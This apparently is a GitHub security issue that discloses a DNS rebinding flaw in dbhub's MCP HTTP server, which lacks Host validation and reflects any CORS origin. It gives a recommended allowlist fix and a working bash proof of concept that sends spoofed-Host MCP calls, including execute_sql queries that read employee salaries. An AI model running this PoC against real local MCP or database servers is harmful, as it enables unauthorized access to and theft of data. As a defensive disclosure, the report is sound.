Skip to content

DNS Rebinding via Missing Host Header Validation #304

@Koukyosyumei

Description

@Koukyosyumei

Summary

The Express handler for POST /mcp processes every request regardless of the Host header value. The CORS middleware that precedes it reflects the incoming Origin header unconditionally, and no middleware validates Host:

// src/server.ts — CORS middleware (applied to ALL routes)
app.use((req, res, next) => {
    const origin = req.headers.origin;
    res.header('Access-Control-Allow-Origin', origin || 'http://localhost'); // ← reflects any origin
    res.header('Access-Control-Allow-Credentials', 'true');
    // ...no Host or Origin allowlist check...
    next();
});

// src/server.ts — MCP route (no host guard)
app.post("/mcp", async (req, res) => {
    const transport = new StreamableHTTPServerTransport({ ... });
    const server = createServer();
    await server.connect(transport);
    await transport.handleRequest(req, res, req.body); // ← executes unconditionally
});

Related | CVE-2025-66414 (MCP TypeScript SDK ≤ 1.23.x — no Host validation)

Scenario

  1. The developer runs dbhub --transport=http --demo on their workstation.
  2. The attacker registers attacker.com in DNS pointing to their own server IP.
  3. The developer visits http://attacker.com/exploit.html in their browser.
  4. The attacker's page uses JavaScript fetch() to probe http://attacker.com/mcp.
    At this point, the DNS TTL expires and the attacker re-binds attacker.com to
    127.0.0.1 (the developer's loopback address).
  5. The browser sends subsequent fetch() calls to http://attacker.com/mcp, which
    now resolves to 127.0.0.1:80. Because the request's Origin header is
    http://attacker.com and the server reflects it via Access-Control-Allow-Origin,
    the browser's SOP allows the JavaScript to read the full response.
  6. The attacker calls tools/list to enumerate tools, then execute_sql with
    arbitrary SQL against the connected database — all without any user credential.

Recommendation

Add a Host/Origin allowlist middleware before all route handlers in
src/server.ts:

// Immediately after app = express()
const ALLOWED_HOSTS = new Set(['localhost', '127.0.0.1', '::1']);

app.use((req, res, next) => {
    const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
    if (!ALLOWED_HOSTS.has(host)) {
        return res.status(400).json({ error: 'Invalid Host header' });
    }
    const origin = req.headers.origin;
    if (origin) {
        try {
            const originHost = new URL(origin).hostname.toLowerCase();
            if (!ALLOWED_HOSTS.has(originHost)) {
                return res.status(403).json({ error: 'Cross-origin request denied' });
            }
        } catch {
            return res.status(400).json({ error: 'Malformed Origin header' });
        }
    }
    next();
});

PoC

#!/usr/bin/env bash
# =============================================================================
# PoC F-01 — DNS Rebinding via Missing Host Header Validation
# Target  : dbhub v0.21.1  (src/server.ts)
# Finding : DNS-REBIND (High) — CVE-2025-66414
# CVSS    : 8.0 (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L)
#
# What this PoC proves
# --------------------
# dbhub's Express HTTP server processes MCP requests from any Host value.
# This PoC simulates the final two HTTP steps of a DNS rebinding attack:
#
#   Phase 1  (browser → attacker DNS): browser fetches http://attacker.com/
#            → DNS resolves to attacker's real server → page loads exploit JS
#
#   Phase 2  (DNS TTL expires): attacker re-binds attacker.com → 127.0.0.1
#            → browser re-resolves and sends MCP requests to localhost:PORT
#            with Origin: http://attacker.com
#
# This script reproduces Phase 2: it sends real MCP calls to localhost while
# carrying a spoofed Host / Origin so the server believes they come from the
# attacker's domain.  Because the server reflects any Origin in
# Access-Control-Allow-Origin, a real browser would honour the CORS response
# and let the attacker's JS read every byte of the MCP replies.
#
# Usage
# -----
#   # 1. Start dbhub in HTTP mode (demo DB is sufficient)
#   cd /path/to/dbhub
#   npx tsx src/index.ts --transport=http --demo --port=18765 &
#   sleep 3
#
#   # 2. Run this script
#   bash poc_f01_dns_rebind.sh [PORT]   # default port: 18765
#
# Expected result
# ---------------
#   STEP 1 — Host: evil.attacker.com   → HTTP 200, serverInfo in JSON body
#   STEP 2 — Origin: http://evil.com   → ACAO: http://evil.com  (origin reflected!)
#   STEP 3 — execute_sql via spoofed host → employee rows returned without auth
#
# Patched result
# --------------
#   STEP 1 should return HTTP 400 with { "error": "Invalid Host header" }
# =============================================================================

set -euo pipefail

PORT="${1:-18765}"
BASE="http://localhost:${PORT}/mcp"
SPOOFED_HOST="evil.attacker.com"
SPOOFED_ORIGIN="http://evil.attacker.com"

RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; NC='\033[0m'

die() { echo -e "${RED}ERROR: $*${NC}" >&2; exit 1; }
ok()  { echo -e "${GREEN}[PASS]${NC} $*"; }
bad() { echo -e "${RED}[VULN]${NC} $*"; }
info(){ echo -e "${YELLOW}[INFO]${NC} $*"; }

echo ""
echo "=== PoC F-01: DNS Rebinding — dbhub v0.21.1 ==="
echo "    Target : ${BASE}"
echo "    Spoofed Host/Origin : ${SPOOFED_HOST}"
echo ""

# ── Sanity: confirm the server is actually running ────────────────────────────
info "Checking that dbhub is listening on port ${PORT}..."
if ! curl -sf -o /dev/null \
       -H "Accept: application/json, text/event-stream" \
       -H "Content-Type: application/json" \
       -d '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"sanity","version":"0"}}}' \
       "${BASE}"; then
    die "dbhub is not reachable at ${BASE}. Start it first:
  cd /path/to/dbhub && npx tsx src/index.ts --transport=http --demo --port=${PORT} &"
fi
ok "Server is up."
echo ""

# ── STEP 1: MCP initialize with spoofed Host header ──────────────────────────
echo "--- STEP 1: initialize with Host: ${SPOOFED_HOST} ---"

INIT_BODY=$(printf '{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "initialize",
  "params": {
    "protocolVersion": "2024-11-05",
    "capabilities": {},
    "clientInfo": { "name": "attacker", "version": "1.0" }
  }
}')

INIT_RESP=$(curl -si -X POST "${BASE}" \
  -H "Host: ${SPOOFED_HOST}" \
  -H "Origin: ${SPOOFED_ORIGIN}" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -d "${INIT_BODY}" 2>&1)

HTTP_STATUS=$(echo "${INIT_RESP}" | grep -m1 "^HTTP/" | awk '{print $2}')
echo "  HTTP status : ${HTTP_STATUS}"

if echo "${INIT_RESP}" | grep -q "serverInfo"; then
    SERVER_NAME=$(echo "${INIT_RESP}" | grep -o '"name":"[^"]*"' | head -1)
    bad "Server responded to spoofed Host with a valid MCP response!"
    echo "  Server: ${SERVER_NAME}"
else
    ok "Server rejected spoofed Host (no serverInfo in response)."
    echo "${INIT_RESP}" | tail -5
    echo ""
    echo "Server appears patched. Exiting."
    exit 0
fi
echo ""

# ── STEP 2: Verify CORS Origin reflection ────────────────────────────────────
echo "--- STEP 2: Verify Access-Control-Allow-Origin reflection ---"

ACAO=$(echo "${INIT_RESP}" | grep -i "access-control-allow-origin" | head -1 || true)
if [ -z "${ACAO}" ]; then
    info "No ACAO header in response (may not be needed for this transport mode)."
else
    echo "  ${ACAO}"
    if echo "${ACAO}" | grep -qi "${SPOOFED_ORIGIN}"; then
        bad "Server reflects attacker Origin in ACAO — browser CORS check will pass!"
        bad "A real browser would allow attacker JS to read MCP responses."
    elif echo "${ACAO}" | grep -qi "\*"; then
        bad "ACAO: * — wildcard allows all origins including attacker's."
    else
        ok "ACAO does not reflect attacker origin."
    fi
fi
echo ""

# ── STEP 3: Execute SQL query via spoofed Host (full database access) ─────────
echo "--- STEP 3: Call execute_sql via spoofed Host (no auth) ---"

SQL_BODY=$(printf '{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "execute_sql",
    "arguments": { "sql": "SELECT name, salary FROM employees LIMIT 3" }
  }
}')

SQL_RESP=$(curl -s -X POST "${BASE}" \
  -H "Host: ${SPOOFED_HOST}" \
  -H "Origin: ${SPOOFED_ORIGIN}" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -d "${SQL_BODY}" 2>&1)

echo "  Response:"
echo "${SQL_RESP}" | python3 -m json.tool 2>/dev/null || echo "${SQL_RESP}"
echo ""

if echo "${SQL_RESP}" | grep -q '"rows"'; then
    bad "execute_sql returned data through the spoofed-Host session!"
    bad "An attacker can steal all database contents via DNS rebinding."
elif echo "${SQL_RESP}" | grep -qi "error"; then
    info "execute_sql returned an error (may be expected in this DB state)."
    info "The MCP session itself was established — the Host check failed."
else
    info "Unexpected response — inspect manually."
fi
echo ""

# ── Summary ───────────────────────────────────────────────────────────────────
echo "=== Summary ==="
bad "VULNERABLE: dbhub accepts MCP requests with arbitrary Host headers."
echo ""
echo "  Root cause : src/server.ts — no Host/Origin allowlist before POST /mcp"
echo "  Impact     : Browser DNS rebinding allows any website to issue MCP calls"
echo "               (including execute_sql) as the developer's local dbhub instance."
echo "  Fix        : Add middleware before all routes:"
echo ""
cat <<'FIX'
  const ALLOWED_HOSTS = new Set(['localhost', '127.0.0.1', '::1']);
  app.use((req, res, next) => {
      const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
      if (!ALLOWED_HOSTS.has(host)) {
          return res.status(400).json({ error: 'Invalid Host header' });
      }
      const origin = req.headers.origin;
      if (origin) {
          try {
              const originHost = new URL(origin).hostname.toLowerCase();
              if (!ALLOWED_HOSTS.has(originHost)) {
                  return res.status(403).json({ error: 'Cross-origin request denied' });
              }
          } catch { return res.status(400).json({ error: 'Malformed Origin' }); }
      }
      next();
  });
FIX

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions